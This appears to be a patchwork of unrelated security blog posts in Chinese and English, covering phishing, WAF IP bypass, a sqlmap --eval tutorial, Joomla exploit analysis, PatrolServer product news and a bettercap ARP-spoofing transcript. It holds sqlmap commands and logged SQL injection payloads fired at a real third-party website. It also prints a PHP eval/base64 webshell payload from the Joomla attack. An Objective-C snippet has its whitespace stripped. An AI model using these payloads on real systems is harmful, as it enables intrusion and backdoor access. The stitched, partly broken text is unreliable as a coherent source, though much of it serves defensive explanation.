再回頭來以這封信為例,最大的破綻除了非制式的內文之外,就屬署名了。明明是假造「Apple Customer Support」的來信,最下面卻簽署「Microsoft Privacy and cookies Developers」,有沒有搞錯?可以再用點心嗎?
連結
最後的重點就是信件中的釣魚連結了,通常這個連結會帶你前往一個長得跟官方網站一模一樣的登入頁面,騙你輸入帳號密碼登入來竊取。在點選超連結之前,一定要先看一下這個連結前往的位置是不是官方的位置,例如是 Apple 的信件通常就會是前往 Apple.com 自己的網域名稱。當然更要特別注意的是假造的網域名稱,例如使用「App1e.com」來偽裝成「Apple.com」,也是非常常見的。
在這種架構下的 WAF 看似對後端的伺服器多了一份保障,但也並非完美。其問題是後端的 Web Server 在透過 WAF 存取的情況下,無法得知來自 Client 端的來源 IP,相反的 Web Server 能看到的 IP 都將是 WAF 的 IP (REMOTE ADDR),在這種情況下可能造成 Client 端可以存取受 IP 來源限制的系統。延伸閱讀:如何正確的取得使用者 IP?。
以下圖為例,網站本身只允許 192.168.x.x 的網段連線,如果今天 Client IP 是 1.1.1.1,將無法存取該網站。
如果建置了 WAF,有關 IP 的設定必須要從 WAF 支援的 HTTP Header 中取出使用者的 IP (REMOTE_ADDR),才能讓原本網站的 IP 限制生效。在這種設定錯誤或是對 WAF 架構不瞭解的情況下,WAF 反而成為駭客繞過 Private IP 限制的跳板,就如同為駭客開了一個後門。因此在使用資安設備時,必須瞭解其架構。別讓資安設備、安全機制,反而使得伺服器更不安全。
I was always sad when I couldn’t use sqlmap when the injection was not very simple. Of course I always expected that to be my fault, that I didn’t spent enough time to configure sqlmap properly. So the other day when I tested an application and found an sql injection which was a pain in the neck to exploit manually, I rolled up my sleeves and started to look at source code of sqlmap to figure out some parameters which I never knew what they did. This blog post is about the --eval parameter which allows you to manipulate the requests before sending them.
If you look at the sqlmap help, it says the following about --eval:
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
This sounds pretty good, but I still had no idea what you can do with it exactly. A good way to find that out is to do a little debugging. If you look at the sqlmap\lib\core\common.py:evaluateCode() method you will see the following:
def evaluateCode(code, variables=None):
"""
Executes given python code given in a string form
"""
try:
exec(code, variables)
except KeyboardInterrupt:
raise
except Exception, ex:
errMsg = "an error occurred while evaluating provided code ('%s'). " % ex
raise SqlmapGenericException(errMsg)
This means that your given code is executed with the exec() method. I still didn’t know though,what would be there inside this exec. I wanted to know what can I access and alter with my input code. For the examples here, I am gonna use the form in a W3C example (http://www.w3schools.com/tags/tryit.asp?filename=tryhtml_form_submit), and I will also add some parameters, which are not really existing but it still shows how sqlmap works. So my test request is the following, which is saved in the w3c_post.txt:
I added the Serial parameter, because that is gonna be our test scenario. Many applications use serial numbers in requests, and go to an error state if the serial is wrong. That is a huge bummer when you automate testing because you always have to increment this parameter. That is what we are gonna do with sqlmap. So our goal is to get sqlmap to send the attack request always with an incremented serial number.
But first lets debug a bit more. The best way I found to check the possibilies of --eval is to break with a debugger inside the exec(). You can do that with ipdb (if you don’t have it installed: pip install ipdb). So start sqlmap with the following configuration:
PS H:\My Documents\testing\sqlmapproject-sqlmap-33b6d18> python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="import ipdb; ipdb.set_trace()"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused
by this program
[*] starting at 10:46:14
[10:46:14] [DEBUG] cleaning up configuration parameters
[10:46:14] [DEBUG] parsing targets list from '.\w3c_post.txt'
[10:46:14] [DEBUG] not a valid WebScarab log data
[10:46:14] [INFO] sqlmap parsed 1 (parameter unique) requests from the targets list ready to be tested
[10:46:14] [DEBUG] setting the HTTP timeout
[10:46:14] [DEBUG] setting the HTTP method to GET
[10:46:14] [DEBUG] creating HTTP requests opener object
[10:46:14] [DEBUG] initializing the knowledge base
URL 1:
POST http://www.w3schools.com:80/tags/demo_form.asp
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=119627022.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjoCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
POST data: FirstName=Mickey&LastName=Mouse&Serial=1
do you want to test this URL? [Y/n/q]
>
[10:46:17] [INFO] testing URL 'http://www.w3schools.com:80/tags/demo_form.asp'
[10:46:17] [INFO] using 'C:\Users\z003am9f\.sqlmap\output\results-07182014_1046am.csv' as the CSV results file in multiple targets mode
[10:46:18] [INFO] testing connection to the target URL
--Return--
None
> <string>(1)<module>()
ipdb>
As you see ipdb broke, and we have a debugging shell inside the exec(). Now the best way to look around is to run locals() to see what is available in that environment. I won’t show that because it is a huge structure, however what you should see hidden between random variables is the POST parameters from your request:
This is a great thing, because it means that you can directly manipulate the POST parameters from your python code. Now what we need to do is to write a python code which increments the Serial variable. Since I didn’t know how to save state inside python, I went in the hard way and saved the serial counter in a file. The not-too-sophisticated code to do that is:
f = open("cnt.txt","r+")
Serial = int(f.readline())
f.seek(0,0)
f.write(str(Serial+1))
f.close()
It opens the file where the serial number is stored, updates the Serial variable, and increments the number in the file. So let’s try it with sqlmap (note: be careful with the quotes in your python code):
$ python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="f = open('cnt.txt','r+'); Serial = int(f.readline()); f.seek(0,0); f.write(str(Serial+1)); f.close()"
In the following snippet from the logs you can clearly see that the Serial was always properly incremented:
[11:16:09] [PAYLOAD] Mickey') AND 8899=1627
[11:16:09] [TRAFFIC OUT] HTTP request [#10]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 67
Connection: close
FirstName=Mickey%27%29%20AND%208899%3D1627&LastName=Mouse&Serial=14
[11:16:09] [TRAFFIC IN] HTTP response [#10] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 3958=8005
[11:16:09] [TRAFFIC OUT] HTTP request [#11]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close
FirstName=Mickey%27%20AND%203958%3D8005&LastName=Mouse&Serial=15
[11:16:09] [TRAFFIC IN] HTTP response [#11] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 7730=7730
[11:16:09] [TRAFFIC OUT] HTTP request [#12]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close
FirstName=Mickey%27%20AND%207730%3D7730&LastName=Mouse&Serial=16
With that we’ve reached our goal.
To go a bit further, I would like to add a more complicated example where you could see the real power in this feature. In my test, the new serial number was always embedded in the last response. The problem was that sometimes the system broke and my serials went out of sync. So I decided that it would be better to send a useless request to get a fresh serial number and use that in the attack request. Of course it slows down the test because it doubles the number of requests, but on the other hand it goes in the direction of beating CSRF protections, which could be also really useful.
The following code creates a method which is responsible to get the newest serial number:
Note that this is not gonna work because W3C doesn’t replies with a serial number, it is a mere example.
In the getSerial() method, we open a connection to the target server, set up the headers, send the request. Since the response was compressed in my case, it had to be decompressed and parsed to retrieve the new Serial.
This code was saved in the increment.py, thus it could be used as a library in the --eval:
-(void)connection:(NSURLConnection*)connectiondidReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge*)challenge{if([[[challengeprotectionSpace]authenticationMethod]isEqualToString:NSURLAuthenticationMethodServerTrust]){do{SecTrustRefserverTrust=[[challengeprotectionSpace]serverTrust];if(nil==serverTrust)break;/* failed */OSStatusstatus=SecTrustEvaluate(serverTrust,NULL);if(!(errSecSuccess==status))break;/* failed */SecCertificateRefserverCertificate=SecTrustGetCertificateAtIndex(serverTrust,0);if(nil==serverCertificate)break;/* failed */CFDataRefserverCertificateData=SecCertificateCopyData(serverCertificate);[(id)serverCertificateDataautorelease];if(nil==serverCertificateData)break;/* failed */constUInt8*constdata=CFDataGetBytePtr(serverCertificateData);constCFIndexsize=CFDataGetLength(serverCertificateData);NSData*cert1=[NSDatadataWithBytes:datalength:(NSUInteger)size];NSString*file=[[NSBundlemainBundle]pathForResource:@"random-org"ofType:@"der"];NSData*cert2=[NSDatadataWithContentsOfFile:file];if(nil==cert1||nil==cert2)break;/* failed */constBOOLequal=[cert1isEqualToData:cert2];if(!equal)break;/* failed */// The only good exit pointreturn[[challengesender]useCredential:[NSURLCredentialcredentialForTrust:serverTrust]forAuthenticationChallenge:challenge];}while(0);}// Bad dogreturn[[challengesender]cancelAuthenticationChallenge:challenge];}
對於這樣海量收集資料衍生的資安議題,我們認為最大的受害者,是物聯網的使用者!就我們的觀察,物聯網的設備通常安全防護不佳,容易遭受到駭客攻擊,前陣子 HP 也出了一份報告指出,物聯網的設備有七成存在弱點,而且每台設備平均有 25 個弱點。除此之外,物聯網的設備不易更新,少有人會定期更新,更導致物聯網設備可以被大範圍的攻擊,進而滲透家用網路,危害使用者居家隱私。這是個未來需要持續關注的重要議題。
這是一個非常經典的案例!一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面,再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司,理當為客戶的監控畫面做最周全的規劃、最謹慎的防護,但是結果呢?報告各位,完全沒有任何防護!只要連到 IP 位址就可以直接看到攝影機畫面,也是屬於裸奔一族…
在物連網的時代中,各種可進行無線通訊的設備被攻擊的事件屢見不鮮,例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器,2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器,甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來,這些資安問題只會更多,身為民眾、企業、廠商的你,準備好面對萬物皆可駭的物連網時代了嗎?
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.
OWASP 是說,如果你的樣板路徑是動態產生的,而且使用者可以控制那個樣板路徑,那麼使用者就可以讀取到任意樣板,包含管理介面的樣板。這樣的描述感覺還好,但就我們的發現,這其實是更嚴重的直接存取物件問題(Insecure Direct Object References),甚至有機會造成遠端命令執行(Remote Code Execution),怎麼說呢?我們直接看下去。
基本細節
一個動態樣板路徑的寫法如下:
而 index 的樣板內容是這樣:
另外建一個 demo 樣板做示意:
實際測試,如果我們連到 WelcomeController 的 index action,不帶任何參數會讀取 index 模版。
Finding a new hosting company for your site is challenging. I mostly use DigitalOcean, therefore I have to take care of my own security. But when third parties ask for a good hosting for their e.g. PHP/Drupal/Wordpress site, I choke. I have to compare pricing, packages, performance and when I tangled all that, I have to check if they are secure. (I don’t want their database on the street or a defaced website).
On my last hunt to find a decent hosting provider, I got fed up. There are so many providers and when checking their software, you sometimes see that their front page has outdated PHP, as in 5.3 old. EOL for 11 months. That really bothers me. How can I rely on their security when their frontpage isn’t even up-to-date.
To warn future customers, I compiled a shame list including all hosting providers having 2 or more outdated software. Outdated, in this case, means being on an unsupported branch. I didn’t count software that are on a supported branch but are not the newest release.
Edit: To clarify, when I say outdated PHP 5.3, I only mean the standalone PHP version. When an Ubuntu version was detected, it was correctly marked as maintained.
The Web Summit conference in Dublin is one of the leading European startup conferences. Each year, they select various startups to participate in their Alpha Program as exhibitioners. The great news is, we’re select to join their program!
From 3 to 5 November 2015, we will be rocking Dublin! Come and say “Hi” to our awesome team!
At PatrolServer, we aim for continued innovation. Today I’m pleased to announce that, with the release of PatrolServer 1.0.2, we’re a step closer to our goal. No server should be left with outdated software.
Past month has been incredible for us here at PatrolServer. We’re a little over one month in public beta, and the response from you all has been overwhelming! As most have noticed, we took the time to listen to you all and implemented the most requested features. We enjoyed all of your participation and feedback! Keep it coming. Together, we can make PatrolServer even greater.
Get a quick overview of all your server statuses
For those who have a large amount of servers in their list, it can get messy to get a quick overview of those who are vulnerable. We implemented a red dot indicator to note the user that this particular server is not safe. This small change required us to work on performance. You’ll see the benefits in better performance!
We now support cPanel
cPanel is a web hosting control panel that provides a graphical interface and automation tools designed to simplify the process of hosting a website. We updated our scanner and now check for cPanel. If your instance becomes outdated, it will also be shown in the solutions list of your server (together with a nice guide on how to update your cPanel instance).
Revamped the pricing page and implemented payments
For those who want a little more, we now fully support payments through Stripe. Our pricing page is now much more clear, and you’ll know perfectly what you get. Check it out at https://patrolserver.com/pricing.
Quick note: Every current user will keep his servers added in our beta period, completely free!
Improved security measurements
By now, it’s pretty clear we give a large priority to security. The sign-in process is now throttled, this means when someone enters wrong credentials several times, that particular user won’t be able to login for some time afterwards. This is mainly another step to guarantee the safety of our users.
As always, keep your feedback coming. We absolutely love it!
Cheers,
The PatrolServer team.
Full changelog:
Invitation system (you can now invite your friends and get free servers)
Stats page now holds the top 50.000 Alexa results
FAQ rewritten with more common questions and answers
Mini scanner for BIND (https://scan.patrolserver.com/bind/CVE-2015-5477)
Mini scanner for cPanel (https://scan.patrolserver.com/cpanel)
SSL / HTTPS only
Huge performance boost by using caches
Bugfix: the character “-” was stripped from the domain name
SEO improvements
Bugfix: scrollbar issue on Chrome
Bugfix: last server was not visible in Firefox on smaller screens
Improved initial loading time
New pricing page
Pricing mechanism is now operational in the app
Login throttling
Support for cPanel
Quick overview in the server list (vulnerable / safe)
Password forgotten feature
As a final note, I’d like to announce several new exciting tools for developers. You will be able to integrate with PatrolServer in the next iteration cycle. We will provide a fully functional developers API together with some other tools. More to come soon, so stay tuned!
Whenever we detect outdated and/or unsupported software on your setup, we provide solutions. These solutions come in the form of a “card”, these so-called solution cards then lead you to a guide through the “Let’s fix it” button. A quick example of a solution card that will pop up when your PHP installation is outdated, and requires an update to a newer version:
Imagine the following situation: You got a server running two Drupal instances, both are outdated and will be detected by the system. Our system then generates those solution cards, but what happens next was not something that kept us busy during the first version of PatrolServer development.
Until now, we have fully rewritten our solutions engine from scratch. The current engine is not only faster, but is written with a dynamic way of thinking (think of a certain “what if”, and we’ll be able to generate a solutions card without digging up the current code and making changes).
Grouped solution cards
I’ll best explain this with an example: You got composer running (yup, we now support composer modules through our bash scanner), and the system detects that 4 out of the 7 modules are outdated (and/or no longer supported). However, updating those requires a single command to run: composer update. We now group cards based on the solution. If several different software versions can be updated with the same solution, only one solution card will be provided. It will look like this:
Cards are aware of the installation paths
The solution cards will now provide you with the detection path (if we were able to detect it, currently only through the bash scanner).
Let’s take our previous example, two Drupal instances on different paths will generate two cards, as you got to update both of them.
Bash Scanner
This is probably the biggest change, we designed a client that we called “bash scanner”. It’s open-sourced on Github. When you install bash scanner on your Linux distro, it will detect your currently installed software together with the versions and sends them over to our server. The server then checks if anything is outdated, and reports back.
For those who feel like creating an account during the installation process of bash scanner, that’s also possible (and is highly advised to make use of our daily scanning process).
At PatrolServer, it is our mission to make sure no outdated server exists. As of today, we officially open our developers API to everyone who has an account on our service. Current users on free plans are also able to integrate with our API, in short: everyone can integrate with the magical experience of PatrolServer.
The possibilities are endless, top of my head, a few examples:
When your node modules become outdated, automatically execute the command npm update and you’ll never have to do it manually again.
Integrate with a server management tool like cPanel, and get a live status of your server software versions.
Send a text message whenever your server becomes outdated (probably something we could offer in the future).
Create your own scanning tool like the one we published on Github, and take full control.
Let creativity go crazy.
What with the future?
Look, we believe APIs will become more dynamic and task-oriented in the future. It makes sense to use data from others just because they’re so good at that particular field. Same as us, PatrolServer, strives to be the best at detecting outdated software and informing users about it.
The first major enhancement we got planned is the support of webhooks. Imagine a seamless integration with services like IFTTT, how cool would that be? Very.
We’re very thrilled to see what others will do with our API. Go ahead, it’s yours!
Today we’re very happy to announce that from now on, we’ll support npm modules.
We are following the Node.js ecosphere closeby. It is not only a thriving community, but the growth since 2009 has been phenomincal. With npm as main package manager, it is a easy as npm install grunt to install something as awesome as grunt.
Also keeping it secure or updated isn’t hard. Just run npm outdated and you magically see all outdated packages. When the correct semver versions are used, a npm update later, you are updated and secure.
Though many systems have outdated node modules. Not because it is hard. Not because it cause breakage. Just because you don’t manually verify if everything is up to date. We, as PatrolServer, want to make the invisible visible. Notify you when new updates for modules come available. Make sure you have the security updates installed.
How? Run our PatrolServer BashScanner client. It runs read-only on your server and checks current installed software against the newest software. After install you can opt for adding it as cron. And now you will get notified daily if something is outdated.
Combine this with our API and the sky is the limit. For example, with jenkins and automatic testing, the updated node module can be tested and integrated into your codebase, fully automated and fully tested without a touch of a finger.
We are glad to welcome the NPM family to PatrolServer.
PatrolServer webhooks are officially available to all our users. As of today, developers are able to integrate PatrolServer within all their favourite applications. So next to polling the results of our scans with our API, we introduce a push mechanism to get information when something has changed.
What are webhooks?
Webhooks are real time events to alert you whenever an event occurs in PatrolServer. For example, your server finished scanning and has new issues. A webhook will be triggered and as a developer, you can now interact based on this new information.
The webhooks are HTTP POST requests, delivered to a destination URL entered in the API settings page. Each time a new event occurs, we’ll perform this action on the URL(s) of your choice.
Let’s take the following use case: new composer package issues have been found on your server. You intercept this with our webhook and automatically run thecomposer update command. Or, what if you’d like to send a message to Slack when your server software suddenly became outdated.
As you may have noticed, we make it our daily job to be as secure as possible. Webhooks security makes no difference. We work in three steps:
When an event occurs on PatrolServer, we create an Event object on our server. We then send a JSON message to the webhooks URLs configured in your API settings page, containing a webhook_id and an event_id. No other event information is sent and so no other information can be intercepted.
To get the Event object information, you will need to fetch it fromhttps://api.patrolserver.com/webhooks/{webhook_id}/events/{event_id} with your API key and secret.
You can then do whatever you want with the information retrieved from the API.
Which events are supported?
Event name
Description
webhook.scan_started
When our scanner is started both manually by pressing the button or automatically by our daily scan, this event will be sent
webhook.new_server_issues
When a new issue has been found by our engine, this event will be triggered. Only new issues that arise will be sent. If you want daily status update of all remaining issues, you need to use the scan_finished event and get the date from our API.
webhook.scan_finished
When a manually of automatically scan is done, this event will get sent. You get the server_id, so you can lookup all found issues with our API.
Let’s get started!
Login to PatrolServer and navigate to the API page (click on your email address in the right, top corner and select API).
Enter your webhook URL and you’re all set. Whenever an event occurs, we’ll send a request to that particular URL (or multiple, you can add more than one webhook).
Slack Integration
For the avid Slack users, we’ve made our webhooks compatible with Slack. When you visit the API page, you’ll notice a small Slack icon on the right bottom corner. All it takes is entering an Incoming Webhook URL and our system does the rest.
When you’ve successfully entered the Incoming Webhook URL, your Slack channel will be able to get messages from the PatrolServer Slack Bot as shown below:
On Monday, Joomla! released updates and hotfixes for all their versions. It had to patch a zero-day exploit that was already being used in the wild.Initial analysis by Sucuri, Metasploit and Reddit suggested it had something to do with the storage of the unsanitized User-Agent string into the session data. This session data was stored into an custom Joomla database (utf8_general_ci) and was executed as it was a close handler of the database. We will guide you through the exploit and explain how you can be secure by using standard security measures.
We’ve developed a PoC which injects a malicious payload executing phpinfo.
Part 1: Unsanitized use of data
The easiest part is getting data into the platform. All modern CMS’ have multiple input they take for various reasons. The sended headers, cookies, the url itself. All this data is being processed and, in a CMS, most likely stored somewhere (You’re better off using a static generator to shrink your input vector). In this case, we use the User-Agent or the HTTP_X_FORWARDED_FOR header. This header tells the server what type of client is trying to connect (operating system, browser, versions,…). This is not a mandatory step for many sites, but mainly used for statistics and some including extra javascript/css to enhance the experience of the user. In Joomla! this data is saved into the session.
The code snippet above illustrates the fact that the User-Agent string is stored unescaped and unsanitized.
Advice: Always sanitize user input
Part 2: The custom session handler
Joomla! uses a custom session handler to save the session data. The function session_set_save_handler can be used to override the session handler. In the case of Joomla!, they don’t save it into files, but they save it into the database. This is what happens:
When done correctly, these functions do not introduce an attack vector. But because both are using different code, both code bases should be maintained, so they are kept code free. In case of serialize, more people look over it, while session_decode is somewhat left behind.
Joomla session handler
The handler writes the data with a PDO and uses quotes to make sure no SQL injection can happen. This is written really well.
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
// Try to update the session data in the database table.
$db->setQuery($query);
if (!$db->;execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
catch (Exception $e)
{
return false;
}
}
When you serialize a class with protected variables, the difference between normal and protected variables is that protected variables are prefixed with “\0*\0”.
But MySQL data can’t save null bytes, so the custom Joomla handler converts them to something that is supported (escaped version of zeros). This is handy because HTTP headers don’t allow null bytes, so you cannot pass null bytes through the HTTP headers. You wouldn’t be able to serialize the protected variables in a class, however the custom handler makes it possible.
Advice: Don’t reinvent the wheel, use the build-in functions (e.g. session handler).
Part 3: The session_decode bug (CVE-2015-6835)
As I’ve said earlier, if session_decode would decode the data properly, this exploit would not exist. Because nowhere in Joomla, they blatantly eval or serialize the User Agent. In januari 2015 a bug was found in the unserialize function (CVE-2015-0273). It made it possible to crash PHP (or execute own code) because it recreated the internal C structures, but didn’t check types. Functions would try to consume this structure and assuming a different type (e.g. using an int as pointer). This bug was quickly patched and a new version was released.
Though, the session_decode uses the same principles and wasn’t fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.
Imagine that the bold part is your User Agent in the session data. If you can terminate the string after your injected code, you can create any variable you want, even objects. In part 3, we will search a way to terminate the string, in part 4 we will search how we can create objects that will be executed.
This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!
Advice: Make sure you always use the latest version of your software
Part 4: Making things easier, MySQL UTF-8 support
As described in the previous paragraph, we need a way to terminate the data of the session variable. Luckily, Joomla! uses an own implemented session handler that uses MySQL with utf8_general_ci collocation. Whenever this encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data. After inserting the session data through the custom Joomla session handlers, the following:
user_agent|s:10:"test|i:5;𝌆";a|i:1;b|i:2;
becomes
user_agent|s:10:"test|i:5;
And we have the required structure to use the session_decode bug.
Advice: Use escape functions that removes 4-byte UTF-8 symbols from input data
Part 5: The search for an executor
Now that we have a way to add contents to the $_SESSION variable, we can also create new objects and add them to the session variable. Thus now we have to search for something that will get executed. For example, take the following class in your application.
Now we have to search after a call_user_func_array that is called upon __wakeup or __destruct and let it call the init function of our SimplePie object. Multiple valid classes can be found, but the attackers used the JDatabaseDriverMysqli class that automatically calls some cleanup code on destruction. Below are the relevant parts of the class.
Summary
This exploit uses multiple bugs in various systems to run its code: it uses an unsanitized User-Agent that is saved in the session data. Because this data is saved with a custom Joomla session handler into the database, a MySQL truncation bug can be used to trigger a session_decode exploit, to break and create custom objects. Those objects are then used to create a payload that will be executed by the disconnect handler of the JDatabaseDriverMysqli class.
In our examples, we always use phpinfo, the real attack doesn’t embed the code to execute directly, they execute the code that enters the 111 post variable:
eval("base64_decode($_POST[111])")
So most attacks are used with some form of the following User-Agent:
Disclaimer: We added the real exploit for educational purposes (because they can be found everywhere in the forums), don’t use them against other sites!
Solution
Many security firms are giving you firewall / mod_security rules to fix this issue. Though, there are many security experts busy in all the upstream projects. They investigate and try to fix exploits as fast as possible. Mostly fixes are released before any exploits are used in the wild. In this case, the Joomla exploit was not fixed before the attacks, but the PHP bug was already fixed for 2 months. I don’t want to give firewall rules as solution. The best solution is to stay up-to-date with all your software. Upgrade Joomla to 3.4.6 or PHP to >= 5.4.45, >= 5.5.29, >= 5.6.13 (ps. Ubuntu and Debian packages also contain the fix).
Edit
Joomla has released 2 releases (3.4.6 and 3.4.7) to solve this issue. You are secure for the exploit in this form when using the 3.4.6 update, or an updated PHP version. Though it is certainly advised to upgrade to 3.4.7 because that version adds new security measures that makes sure variants of this exploit cannot happen.
3.4.6
Fix part 1 by sanitizing user input. The User-Agent isn’t saved anymore and the HTTP_X_FORWARDED_FOR should now be an IP.
3.4.7
Fix part 4 by encoding the session data with base64 before running it through session_encode. This way the truncation cannot happen because the 4-byte UTF-8 char is transformed.
Check your site against the exploit with our mini-scanner and know if your all your software are up to date with our full version scanner PatrolServer.
Today we’re releasing the Ignore functionality for your solution cards. That means you can take full control over what type of solutions you’d like to see. Just as importantly, you can now report false positives where needed.
Hide cards you no longer want to see
Imagine you would like to hide the WordPress update card like the one above. All it takes is a simple click on the Ignore button, and it will take you to a wizard-style menu where you can add constraints about ignoring that particular card.
It is possible to hide the card forever, or you can tell the filter to hide just that particular version (note, if a new version of the software gets released, the card will be visible again).
View hidden cards
When you’ve hidden solution cards, they are not really gone. As the word describes, they are just hidden. When one or more cards are no longer visible, an option will be shown to view your hidden cards. They’re present in the same format as regular ones.
If you no longer want a filter to be applied, take a look at the Filters view where you can remove your active filters.
I have been working on an online Burp Suite training for quite some time. It is finally ready.
It is based on the live Burp Suite workshop I held on conferences and for local meetup groups. You will get to know every module of the free edition of Burp and you will be able to try everything yourself with the WebGoat vulnerable web application. The course covers everything from setting up the test environment to trying most of the functionalities of Burp. It was also reviewed by Portswigger, the company behind Burp and they also mention it on their trainings site, so I guess they approve :). So check it out and don’t hesitate to give me feedback: http://hackademy.aetherlab.net
I recently discovered a fairly new man-in-the-middle tool called bettercap, which I will test in this video. I will explain the concept of ARP spoofing, install bettercap, and see how one can use it to sniff passwords on a network.
If you need here is the full transcript of the video:
Hello there. My name is Gergely Revay or Geri. Today I’m gonna talk about bettercap. This is a new tool I found recently and it got my attention because it’s a man in the middle tool. And we talk about man in the middle attacks all the time like in an assessment when we say it’s bad to send stuff unencrypted on the network because a man in the middle attacker can then sniff your network and find out your passwords or anything. When I found this tool, I thought this would be a good opportunity to play a little bit with man in the middle attacks. So what I’m gonna do today is introduce bettercap, talk a little bit about network sniffing and ARP poisoning for those people who don’t really know what that is and how it works, and then we’ll install and try bettercap, the basic features. We’ll sniff network a little bit to find some passwords and talk about what bettercap is capable of.
So let’s start with the installation. So you can see here already, I have the bettercap website on my screen. And basically the installation is not that difficult because you can just use Ruby GEM to install. Bettercap is actually a full Ruby application and you can extend it in Ruby. So it’s good for you if you know Ruby well. Now, the installation is also documented in the website so you can check it out and also do it yourself. So let’s go to a terminal. First, I’m gonna install the dependencies, which some of it is already installed in Kali but I’m not gonna check exactly and just go on with the installation. And then it’s build essential Ruby development packages and libpcap for manipulating traffic. Yeah. So now we have the dependencies. Then let’s get on with the installation of bettercap. And it’s gem install bettercap. It’s gonna take a little bit so just be patient. Okay, the installation is ready so let’s see if we can execute it. Yes. So that’s how it works. That’s a good start.
